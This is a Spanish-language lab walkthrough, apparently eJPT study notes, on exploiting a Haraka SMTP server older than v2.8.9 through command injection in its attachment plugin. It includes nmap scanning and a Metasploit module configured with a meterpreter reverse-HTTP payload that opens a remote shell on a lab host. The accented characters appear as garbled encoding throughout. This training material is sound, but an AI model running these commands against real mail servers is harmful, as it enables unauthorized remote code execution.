> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/explotacion/explotacion-de-linux/explotacion-de-un-servidor-smtp-vulnerable.md).
# Explotaci贸n de un servidor SMTP vulnerable
### 馃摤 驴Qu茅 es SMTP?
**SMTP (Simple Mail Transfer Protocol)** es un protocolo de comunicaci贸n utilizado para la **transmisi贸n de correos electr贸nicos** entre servidores y clientes de correo electr贸nico.
* Por defecto, SMTP se comunica a trav茅s del **puerto TCP 25**.
* Tambi茅n puede configurarse para usar los puertos **TCP 465** (SSL) y **587** (STARTTLS), especialmente cuando se requiere cifrado.
***
### 馃挕 驴Qu茅 es Haraka?
**Haraka** es un servidor **SMTP de alto rendimiento y c贸digo abierto**, desarrollado en **Node.js**.
* Est谩 dise帽ado para ser **modular y personalizable**, ideal para servidores de correo de gran volumen.
* Haraka incluye varios plugins que extienden su funcionalidad, incluyendo uno espec铆fico para el **procesamiento de archivos adjuntos**.
***
### 馃毃 Vulnerabilidad en Haraka (CVE no especificado)
Las versiones de **Haraka anteriores a la v2.8.9** son vulnerables a una **inyecci贸n de comandos**.
#### 馃敟 Detalles de la vulnerabilidad:
* La falla se encuentra en el **plugin que maneja los archivos adjuntos**.
* Un atacante puede enviar un correo especialmente manipulado que aprovecha el proceso de manejo de adjuntos para **inyectar comandos en el sistema** que ejecuta Haraka.
* Esta vulnerabilidad permite la **ejecuci贸n remota de comandos (RCE)** si se explota con 茅xito.
***
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Verifique si la m谩quina de destino es accesible:
**Dominio:**
```
ping -c 4 demo.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Ejecute un escaneo nmap contra el objetivo:
**Dominio:**
```
nmap -sS -sV demo.ine.local
```
**Paso 4:** Hemos descubierto un servidor Haraka ejecut谩ndose en la m谩quina objetivo. Usemos el m贸dulo Metasploit para explotar el objetivo.
Antes de eso, aseg煤rese de iniciar el servicio de base de datos postgresql:
**Dominio:**
```
service postgresql start
```
Ahora, ejecute los siguientes comandos:
Aseg煤rese de reemplazar el valor LHOST con la direcci贸n IP de su m谩quina Kali.
**Comandos:**
```
msfconsole -q
use exploit/linux/smtp/haraka
set SRVPORT 9898
set email_to root@attackdefense.test
set payload linux/x64/meterpreter_reverse_http
set rhost demo.ine.local
set LHOST 192.164.31.2
exploit
```
**Ignore cualquier error** que vea, ya que ya ha obtenido la sesi贸n de meterpreter. Para listar las sesiones activas, ejecute el siguiente comando:
**Dominio:**
```
sessions
```
Para interactuar con esta sesi贸n, ejecute el siguiente comando:
**Dominio:**
```
sessions -i 1
```
#### Conclusi贸n
En este laboratorio, explotamos un servidor SMTP vulnerable usando un m贸dulo Metasploit para obtener acceso al shell en el objetivo.
#### Referencias
*
*
*